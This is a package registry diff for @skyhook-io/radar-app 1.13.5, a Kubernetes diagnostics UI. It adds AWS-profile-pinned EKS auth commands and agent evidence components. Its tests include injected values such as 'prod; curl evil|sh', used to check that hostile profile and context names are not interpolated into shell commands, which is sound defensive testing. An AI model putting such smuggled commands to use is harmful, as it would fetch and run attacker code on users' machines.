@skyhook-io/radar-app 1.13.4 → 1.13.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (36) hide show
  1. package/package.json +1 -1
  2. package/src/RadarApp.tsx +5 -0
  3. package/src/api/client.ts +4 -0
  4. package/src/api/diagnose.ts +61 -15
  5. package/src/components/ConnectionErrorView.test.tsx +30 -0
  6. package/src/components/ConnectionErrorView.tsx +31 -19
  7. package/src/components/diagnose/AgentCase.tsx +131 -0
  8. package/src/components/diagnose/DiagnoseSurface.test.tsx +0 -20
  9. package/src/components/diagnose/DiagnoseSurface.tsx +32 -195
  10. package/src/components/diagnose/InvestigationEvidencePane.test.tsx +783 -7
  11. package/src/components/diagnose/InvestigationEvidencePane.tsx +774 -133
  12. package/src/components/diagnose/InvestigationView.tsx +222 -5
  13. package/src/components/diagnose/diagnoseEvidenceTypes.ts +22 -1
  14. package/src/components/diagnose/investigationCase.test.tsx +1568 -0
  15. package/src/components/diagnose/investigationCase.ts +439 -0
  16. package/src/components/diagnose/investigationEvidence.test.ts +1566 -151
  17. package/src/components/diagnose/investigationEvidence.ts +831 -43
  18. package/src/components/diagnose/investigationEvidenceKinds.ts +218 -0
  19. package/src/components/diagnose/investigationEvidencePresentation.test.ts +31 -0
  20. package/src/components/diagnose/investigationEvidencePresentation.ts +1 -0
  21. package/src/components/diagnose/investigationMetrics.test.ts +712 -0
  22. package/src/components/diagnose/investigationMetrics.ts +393 -0
  23. package/src/components/diagnose/investigationSourceFocus.ts +2 -0
  24. package/src/components/diagnose/investigationState.test.ts +322 -0
  25. package/src/components/diagnose/investigationState.ts +147 -25
  26. package/src/components/diagnose/parts.test.tsx +482 -0
  27. package/src/components/diagnose/parts.tsx +418 -41
  28. package/src/components/resource/PrometheusChartsGrid.tsx +181 -79
  29. package/src/components/resources/PodFilePreview.test.tsx +131 -0
  30. package/src/components/resources/PodFilePreview.tsx +394 -0
  31. package/src/components/resources/PodFilesystemModal.tsx +157 -67
  32. package/src/context/DiagnoseCustomization.test.tsx +26 -0
  33. package/src/context/DiagnoseCustomization.tsx +14 -2
  34. package/src/index.ts +1 -0
  35. package/src/utils/shell-safe.test.ts +25 -1
  36. package/src/utils/shell-safe.ts +16 -0
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@skyhook-io/radar-app",
3
- "version": "1.13.4",
3
+ "version": "1.13.5",
4
4
  "description": "Radar's full web UI as a reusable React component. Used by Radar's own binary and by external consumers like Radar Cloud.",
5
5
  "repository": {
6
6
  "type": "git",
package/src/RadarApp.tsx CHANGED
@@ -42,6 +42,7 @@ import type { TimelineSourceConfig } from "./api/timelineSource";
42
42
  import { DiagnoseCustomizationProvider } from "./context/DiagnoseCustomization";
43
43
  import type {
44
44
  RenderDiagnoseAction,
45
+ RenderInvestigationRunActions,
45
46
  DiagnoseConsentCopy,
46
47
  } from "./context/DiagnoseCustomization";
47
48
  import { defaultDiagnoseAction } from "./components/diagnose/LocalDiagnoseAction";
@@ -113,6 +114,8 @@ export interface RadarAppProps {
113
114
  * agent-free. See ./context/DiagnoseCustomization for the render-prop shape.
114
115
  */
115
116
  renderDiagnoseAction?: RenderDiagnoseAction;
117
+ /** Host-owned controls for the focused investigation; absent in standalone Radar. */
118
+ renderInvestigationRunActions?: RenderInvestigationRunActions;
116
119
  /**
117
120
  * Replaces the first-run consent card's trust copy. REQUIRED of any host whose
118
121
  * backend runs the agent somewhere other than the user's own machine — the
@@ -202,6 +205,7 @@ export function RadarApp({
202
205
  manageDocumentTitle = false,
203
206
  documentTitleSuffix,
204
207
  renderDiagnoseAction,
208
+ renderInvestigationRunActions,
205
209
  diagnoseConsent,
206
210
  initialPath,
207
211
  onClusterLoadStateChange,
@@ -234,6 +238,7 @@ export function RadarApp({
234
238
  <DiagnoseCustomizationProvider
235
239
  value={renderDiagnoseAction ?? defaultDiagnoseAction}
236
240
  consentCopy={diagnoseConsent}
241
+ renderRunActions={renderInvestigationRunActions}
237
242
  >
238
243
  <DiagnoseProvider
239
244
  browserURLState={router !== "memory"}
package/src/api/client.ts CHANGED
@@ -3105,6 +3105,10 @@ export interface PrometheusResourceMetrics {
3105
3105
  result: PrometheusQueryResult;
3106
3106
  query?: string; // PromQL query (included when result is empty, for diagnostics)
3107
3107
  hint?: string; // Contextual hint when results are empty (e.g. cri-docker label issues)
3108
+ // Workload kinds only: the pods the chart covers, established by
3109
+ // controller ownership. podsTotal is the full set when the cap cut the list.
3110
+ pods?: number;
3111
+ podsTotal?: number;
3108
3112
  }
3109
3113
 
3110
3114
  export type PrometheusMetricCategory =
@@ -52,11 +52,60 @@ export interface RootCauseEvidence {
52
52
  refs?: string[];
53
53
  }
54
54
 
55
+ /**
56
+ * How the agent frames one cited Radar result. Roles order cards; they never
57
+ * hide one.
58
+ *
59
+ * One half of a Go↔TS contract: `evidenceRoles` in internal/ai/parse.go and
60
+ * EVIDENCE_ROLES in components/diagnose/investigationCase.ts must list exactly
61
+ * these roles. Change all three together.
62
+ */
63
+ export type DiagnosisEvidenceRole =
64
+ "cause" | "symptom" | "context" | "benign" | "demoted" | "rules_out";
65
+
66
+ /**
67
+ * Which observation inside one tool result a claim is about. Agent text
68
+ * copied verbatim by the server; the UI resolves it against captured evidence
69
+ * and places the claim only on an exact, unique match.
70
+ */
71
+ export interface DiagnosisEvidenceSubject {
72
+ group?: string;
73
+ kind: string;
74
+ namespace?: string;
75
+ name: string;
76
+ container?: string;
77
+ stream?: "current" | "previous";
78
+ /** Evidence kind (resource, logs, events, changes, metrics, …). */
79
+ observation?: string;
80
+ }
81
+
82
+ /** One server-bound item of the agent's case. Unlinked items are never rendered. */
83
+ export interface DiagnosisEvidenceItem {
84
+ status: "linked" | "unlinked";
85
+ ref?: string;
86
+ role?: DiagnosisEvidenceRole;
87
+ claim?: string;
88
+ subject?: DiagnosisEvidenceSubject;
89
+ }
90
+
91
+ export interface DiagnosisRuledOut {
92
+ hypothesis: string;
93
+ /** Index into Diagnosis.evidence of the item whose result contradicted it. */
94
+ evidenceIndex: number;
95
+ }
96
+
55
97
  export interface Diagnosis {
56
98
  healthy?: boolean;
57
99
  inconclusive?: boolean; // investigated but couldn't determine — distinct from healthy
58
100
  rootCause: string;
59
101
  rootCauseEvidence?: RootCauseEvidence;
102
+ /** The agent's case over Radar's evidence; absent from hosted backends and older runs. */
103
+ evidence?: DiagnosisEvidenceItem[];
104
+ /** How many of the agent's evidence entries never reached the UI, including ones cut before they got a slot in `evidence`. */
105
+ unlinkedEvidence?: number;
106
+ /** The agent's evidence field was not a list, so none of it could be read. */
107
+ evidenceMalformed?: boolean;
108
+ ruledOut?: DiagnosisRuledOut[];
60
109
  report: string;
61
110
  remediation: string[];
62
111
  recommendedIndex?: number; // 1-based index into remediation of the step Apply performs
@@ -87,6 +136,13 @@ export interface ResourceHealthSignal {
87
136
 
88
137
  export type ApplyMutationOutcome = "confirmed" | "failed" | "unknown";
89
138
 
139
+ // One MCP server's connection state as the agent CLI reported it at startup.
140
+ // Only "connected" means its tools are usable.
141
+ export interface MCPServerStatus {
142
+ name: string;
143
+ status: string;
144
+ }
145
+
90
146
  export interface DiagnoseStreamEvent {
91
147
  type:
92
148
  | "turn"
@@ -98,7 +154,11 @@ export interface DiagnoseStreamEvent {
98
154
  | "closed"
99
155
  | "history_unavailable"
100
156
  | "replay_complete";
101
- phase?: string;
157
+ phase?: string; // "investigating" | "connected" | "ready"
158
+ // Startup facts the agent CLI reported on the "ready" phase.
159
+ model?: string;
160
+ toolCount?: number; // Radar tools the agent registered
161
+ mcpServers?: MCPServerStatus[];
102
162
  step?: DiagnoseStep;
103
163
  token?: string;
104
164
  diagnosis?: Diagnosis;
@@ -255,20 +315,6 @@ export async function getRun(
255
315
  return res.json();
256
316
  }
257
317
 
258
- export async function updateRunVisibility(
259
- id: string,
260
- visibility: "private" | "organization",
261
- ): Promise<RunSummary> {
262
- const res = await fetch(`${RUNS()}/${encodeURIComponent(id)}`, {
263
- method: "PATCH",
264
- credentials: getCredentialsMode(),
265
- headers: { "Content-Type": "application/json", ...getAuthHeaders() },
266
- body: JSON.stringify({ visibility }),
267
- });
268
- if (!res.ok) throw new DiagnoseError(res.status, await errorText(res));
269
- return res.json();
270
- }
271
-
272
318
  // recordConsent acknowledges the current disclosure for an execution profile, server-side.
273
319
  export async function recordConsent(surface: string): Promise<void> {
274
320
  const res = await fetch(`${getApiBase()}/diagnose/consent`, {
@@ -71,6 +71,36 @@ describe('ConnectionErrorView authentication guidance', () => {
71
71
  expect(hints.fallbackCommand?.command).toBe('aws sso login')
72
72
  })
73
73
 
74
+ it('pins the kubeconfig AWS profile on every EKS command that would otherwise use the ambient one', () => {
75
+ const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
76
+ const profile = 'myorg/prod/admin'
77
+
78
+ const rejected = getAuthRejectedHints(context, profile)
79
+ expect(rejected.fallbackCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
80
+ expect(rejected.authCommand?.command).toBe(
81
+ 'aws sts get-caller-identity --profile myorg/prod/admin && aws eks describe-cluster --name prod --region us-east-1 --profile myorg/prod/admin --query cluster.accessConfig.authenticationMode --output text',
82
+ )
83
+ expect(rejected.hints.join(' ')).not.toContain("terminal's current AWS profile")
84
+
85
+ const auth = selectConnectionHints('auth', context, undefined, profile)
86
+ expect(auth?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
87
+ expect(auth?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
88
+
89
+ const timeout = selectConnectionHints('timeout', context, undefined, profile)
90
+ expect(timeout?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
91
+ expect(timeout?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
92
+ })
93
+
94
+ it('drops a hostile AWS profile instead of interpolating it', () => {
95
+ const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
96
+ const hints = getAuthRejectedHints(context, 'prod; curl evil|sh')
97
+
98
+ expect(hints.fallbackCommand?.command).toBe('aws sso login')
99
+ expect(hints.authCommand?.command).toBe(
100
+ 'aws sts get-caller-identity && aws eks describe-cluster --name prod --region us-east-1 --query cluster.accessConfig.authenticationMode --output text',
101
+ )
102
+ })
103
+
74
104
  it('does not offer interpolated commands for hostile GKE context values', () => {
75
105
  const hints = getAuthRejectedHints('gke_project_us-east1_prod;curl evil|sh')
76
106
 
@@ -6,7 +6,7 @@ import { parseContextName } from '../utils/context-name'
6
6
  import { useOpenLocalTerminal, ClusterName } from '@skyhook-io/k8s-ui'
7
7
  import { useAuthMe, useContexts } from '../api/client'
8
8
  import { Tooltip } from './ui/Tooltip'
9
- import { allShellSafe } from '../utils/shell-safe'
9
+ import { allShellSafe, awsProfileFlag } from '../utils/shell-safe'
10
10
  import { apiUrl } from '../api/config'
11
11
  import { useCapabilitiesContext } from '../contexts/CapabilitiesContext'
12
12
 
@@ -33,7 +33,7 @@ interface AuthHints {
33
33
  hideAuthButton?: boolean
34
34
  }
35
35
 
36
- function getAuthHints(context: string): AuthHints {
36
+ function getAuthHints(context: string, awsProfile?: string): AuthHints {
37
37
  const parsed = parseContextName(context)
38
38
 
39
39
  switch (parsed.provider) {
@@ -54,18 +54,19 @@ function getAuthHints(context: string): AuthHints {
54
54
  return result
55
55
  }
56
56
  case 'EKS': {
57
+ const profileFlag = awsProfileFlag(awsProfile)
57
58
  const result: AuthHints = {
58
59
  title: 'EKS Authentication Failed',
59
60
  hints: [
60
61
  'Radar could not get AWS credentials for this context.',
61
62
  'For AWS SSO contexts, the SSO session may need login.',
62
63
  ],
63
- authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: 'aws sso login' },
64
+ authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: `aws sso login${profileFlag}` },
64
65
  }
65
66
  if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
66
67
  result.fallbackCommand = {
67
68
  label: 'If that doesn\'t work, refresh cluster credentials:',
68
- command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
69
+ command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
69
70
  }
70
71
  }
71
72
  return result
@@ -88,26 +89,34 @@ function getAuthHints(context: string): AuthHints {
88
89
  }
89
90
  }
90
91
 
91
- export function getAuthRejectedHints(context: string): AuthHints {
92
+ export function getAuthRejectedHints(context: string, awsProfile?: string): AuthHints {
92
93
  const parsed = parseContextName(context)
93
94
 
94
95
  switch (parsed.provider) {
95
96
  case 'EKS': {
97
+ const profileFlag = awsProfileFlag(awsProfile)
96
98
  const result: AuthHints = {
97
99
  title: 'EKS Could Not Authenticate This Request',
98
100
  hints: [
99
101
  'EKS returned HTTP 401, so Kubernetes could not authenticate this request.',
100
102
  'The AWS credential may be missing, stale, or revoked, or its IAM principal may not be mapped through an EKS access entry or the cluster\'s legacy aws-auth configuration.',
101
103
  'If the credential is current, ask a cluster admin to verify the mapping for the IAM principal used by this context.',
102
- 'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
104
+ profileFlag
105
+ ? 'The commands below use the AWS profile pinned by this context\'s kubeconfig exec block. If it also pins --role-arn, inspect that role instead.'
106
+ : 'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
103
107
  'API and API_AND_CONFIG_MAP modes use access entries; CONFIG_MAP mode uses the aws-auth ConfigMap.',
104
108
  ],
105
- fallbackCommand: { label: 'If this context uses the current AWS SSO profile, re-login and retry:', command: 'aws sso login' },
109
+ fallbackCommand: {
110
+ label: profileFlag ? 'If this profile uses AWS SSO, re-login and retry:' : 'If this context uses the current AWS SSO profile, re-login and retry:',
111
+ command: `aws sso login${profileFlag}`,
112
+ },
106
113
  }
107
114
  if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
108
115
  result.authCommand = {
109
- label: 'Inspect the caller and authentication mode for the current terminal AWS profile:',
110
- command: `aws sts get-caller-identity && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region} --query cluster.accessConfig.authenticationMode --output text`,
116
+ label: profileFlag
117
+ ? 'Inspect the caller and authentication mode for the pinned AWS profile:'
118
+ : 'Inspect the caller and authentication mode for the current terminal AWS profile:',
119
+ command: `aws sts get-caller-identity${profileFlag} && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region}${profileFlag} --query cluster.accessConfig.authenticationMode --output text`,
111
120
  }
112
121
  // A diagnostic, not a re-auth — the "Authenticate in terminal" button
113
122
  // would misrepresent what running it does.
@@ -167,7 +176,7 @@ function getAuthPluginStuckHints(): AuthHints {
167
176
  }
168
177
  }
169
178
 
170
- function getTimeoutHints(context: string): AuthHints | null {
179
+ function getTimeoutHints(context: string, awsProfile?: string): AuthHints | null {
171
180
  const parsed = parseContextName(context)
172
181
  const baseHints = [
173
182
  'The Kubernetes API did not respond before the deadline.',
@@ -192,15 +201,16 @@ function getTimeoutHints(context: string): AuthHints | null {
192
201
  return result
193
202
  }
194
203
  case 'EKS': {
204
+ const profileFlag = awsProfileFlag(awsProfile)
195
205
  const result: AuthHints = {
196
206
  title: 'Connection Timed Out',
197
207
  hints: [...baseHints, 'If the endpoint is reachable, AWS credentials or SSO may need refresh.'],
198
- authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: 'aws sso login' },
208
+ authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: `aws sso login${profileFlag}` },
199
209
  }
200
210
  if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
201
211
  result.fallbackCommand = {
202
212
  label: 'If that does not work, refresh cluster credentials:',
203
- command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
213
+ command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
204
214
  }
205
215
  }
206
216
  return result
@@ -322,17 +332,17 @@ export function CopyableCommand({ command, onRunInTerminal }: { command: string;
322
332
  )
323
333
  }
324
334
 
325
- export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string): AuthHints | null {
335
+ export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string, awsProfile?: string): AuthHints | null {
326
336
  const parsedContext = originalContext || context
327
337
  switch (errorType) {
328
338
  case 'auth':
329
- return getAuthHints(parsedContext)
339
+ return getAuthHints(parsedContext, awsProfile)
330
340
  case 'auth-rejected':
331
- return getAuthRejectedHints(parsedContext)
341
+ return getAuthRejectedHints(parsedContext, awsProfile)
332
342
  case 'auth-plugin-stuck':
333
343
  return getAuthPluginStuckHints()
334
344
  case 'timeout':
335
- return getTimeoutHints(parsedContext)
345
+ return getTimeoutHints(parsedContext, awsProfile)
336
346
  default:
337
347
  return null
338
348
  }
@@ -344,9 +354,11 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
344
354
  const isAuthRejected = connection.errorType === 'auth-rejected'
345
355
  const isAuthPluginStuck = connection.errorType === 'auth-plugin-stuck'
346
356
  const isAuthError = isAuth || isAuthRejected || isAuthPluginStuck
347
- const { data: contexts } = useContexts()
348
- const originalContext = contexts?.find((context) => context.name === connection.context)?.originalName
349
- const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext)
357
+ const { data: contexts, isLoading: contextsLoading } = useContexts()
358
+ const matchedContext = contexts?.find((context) => context.name === connection.context)
359
+ const originalContext = matchedContext?.originalName
360
+ const awsProfile = contextsLoading ? undefined : matchedContext?.awsProfile
361
+ const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext, awsProfile)
350
362
  const errorInfo = commandInfo || errorHints[connection.errorType || 'unknown'] || errorHints.unknown
351
363
  const openLocalTerminal = useOpenLocalTerminal()
352
364
  const { data: authMe } = useAuthMe()
@@ -0,0 +1,131 @@
1
+ import { clsx } from "clsx";
2
+ import { Sparkles } from "lucide-react";
3
+ import { Badge } from "@skyhook-io/k8s-ui";
4
+
5
+ import type { DiagnosisEvidenceRole } from "../../api/diagnose";
6
+ import { Tooltip } from "../ui/Tooltip";
7
+
8
+ export const AGENT_ROLE_LABELS: Readonly<
9
+ Record<DiagnosisEvidenceRole, string>
10
+ > = {
11
+ cause: "Cause",
12
+ symptom: "Symptom",
13
+ context: "Context",
14
+ benign: "Not a problem",
15
+ demoted: "Less relevant",
16
+ rules_out: "Rules out",
17
+ };
18
+
19
+ /**
20
+ * The agent's framing of a Radar fact. Always the agent tone, never a
21
+ * severity tone: a chip must not read as a Radar finding.
22
+ */
23
+ export function AgentRoleChip({ role }: { role: DiagnosisEvidenceRole }) {
24
+ return (
25
+ <Tooltip
26
+ content={`The agent labelled this evidence "${AGENT_ROLE_LABELS[role]}". Radar recorded the fact; the label is the agent's reading of it.`}
27
+ // The label has to share the sentence's baseline. Centring the badge box
28
+ // drops it ~1px (padding and border make the box taller than the line),
29
+ // and the badge's own baseline comes from the sparkle, landing 1px high.
30
+ wrapperClassName="shrink-0 align-[-1px]"
31
+ >
32
+ <Badge tone="agent" size="sm">
33
+ <Sparkles className="h-2.5 w-2.5 shrink-0" aria-hidden />
34
+ {AGENT_ROLE_LABELS[role]}
35
+ </Badge>
36
+ </Tooltip>
37
+ );
38
+ }
39
+
40
+ /**
41
+ * One sentence from the agent about a Radar fact. Everything the agent
42
+ * contributed to a card lives in this one row — the sparkle, the role, and the
43
+ * sentence — so the register is unmistakable: the fact above is Radar's, this
44
+ * line is the agent's reading of it. The role travelled with the card title
45
+ * once, where it sat in the same slot as Radar's own badges and could be read
46
+ * as Radar having established it.
47
+ *
48
+ * A `rules_out` note carries the hypothesis it excludes, as text beside the
49
+ * chip rather than inside it: "Rules out" alone forces the reader to find the
50
+ * hypothesis in a block further down and match it back, and a hypothesis long
51
+ * enough to be useful makes a badge that swallows the row.
52
+ */
53
+ export function AgentClaimNote({
54
+ claim,
55
+ role,
56
+ excludes,
57
+ subject,
58
+ className,
59
+ }: {
60
+ claim: string;
61
+ role?: DiagnosisEvidenceRole;
62
+ /**
63
+ * The hypothesis this item excludes. Rendered only for `rules_out`, where
64
+ * the chip frames it as rejected: a hypothesis is a claim the agent
65
+ * DISPROVED, so on any other card it would read as a statement of fact.
66
+ */
67
+ excludes?: string;
68
+ /** The observation the note was bound to, when it is not on that card. */
69
+ subject?: string;
70
+ className?: string;
71
+ }) {
72
+ if (!claim && !role) return null;
73
+ return (
74
+ <p
75
+ data-agent-claim
76
+ className={clsx(
77
+ "flex min-w-0 items-start gap-2 border-t border-dashed border-theme-border/70 text-xs leading-relaxed text-theme-text-secondary",
78
+ className,
79
+ )}
80
+ >
81
+ <span className="min-w-0 flex-1 [overflow-wrap:anywhere]">
82
+ {/* The chip and its sparkle carry this visually; the word is what
83
+ survives when colour and iconography do not. "Agent" rather than
84
+ "Agent's note" because a role can arrive with no sentence. */}
85
+ <span className="sr-only">Agent: </span>
86
+ {role ? (
87
+ <>
88
+ <AgentRoleChip role={role} />{" "}
89
+ </>
90
+ ) : null}
91
+ {excludes && role === "rules_out" ? (
92
+ <>
93
+ <span className="italic text-theme-text-tertiary">{excludes}</span>
94
+ {" — "}
95
+ </>
96
+ ) : null}
97
+ {claim ? (
98
+ <>
99
+ {subject ? (
100
+ <span className="text-theme-text-tertiary">{subject} · </span>
101
+ ) : null}
102
+ {renderClaim(claim)}
103
+ </>
104
+ ) : null}
105
+ </span>
106
+ </p>
107
+ );
108
+ }
109
+
110
+ /**
111
+ * Claims are one sentence of prose in which the agent marks identifiers with
112
+ * backticks. Only that inline-code span is honoured: a full Markdown render
113
+ * would wrap the sentence in a block and break the shared baseline with the
114
+ * role chip and the lead-in.
115
+ */
116
+ function renderClaim(claim: string) {
117
+ const parts = claim.split("`");
118
+ if (parts.length < 3) return claim;
119
+ return parts.map((part, i) =>
120
+ i % 2 === 1 && i < parts.length - 1 ? (
121
+ <code
122
+ key={i}
123
+ className="inline-code rounded border border-theme-border/60 bg-theme-base px-1 py-px font-mono text-[11px] font-normal text-theme-text-primary"
124
+ >
125
+ {part}
126
+ </code>
127
+ ) : (
128
+ part
129
+ ),
130
+ );
131
+ }
@@ -4,7 +4,6 @@ import {
4
4
  INVESTIGATION_HISTORY_MIN_WIDTH,
5
5
  MAXIMIZED_RUN_META_VISIBILITY_CLASS,
6
6
  canRerunInvestigation,
7
- canCopyRunLink,
8
7
  investigationHistoryIsPersistent,
9
8
  investigationHeaderPresentation,
10
9
  openInvestigationEvidenceResource,
@@ -337,25 +336,6 @@ describe("canContinueInvestigation", () => {
337
336
  });
338
337
  });
339
338
 
340
- describe("canCopyRunLink", () => {
341
- it("does not expose collaboration UI for an OSS run", () => {
342
- expect(canCopyRunLink(run("done"))).toBe(false);
343
- });
344
-
345
- it("exposes the copy action only for a canonical hosted URL", () => {
346
- expect(
347
- canCopyRunLink({
348
- ...run("done"),
349
- radarUrl: "/c/cluster-1?org=org-1&ai-run=r1",
350
- }),
351
- ).toBe(true);
352
- });
353
-
354
- it("treats an empty hosted URL as unavailable", () => {
355
- expect(canCopyRunLink({ ...run("done"), radarUrl: "" })).toBe(false);
356
- });
357
- });
358
-
359
339
  describe("canInvestigateFurther", () => {
360
340
  it("offers a context-preserving next step on a completed automatic investigation", () => {
361
341
  expect(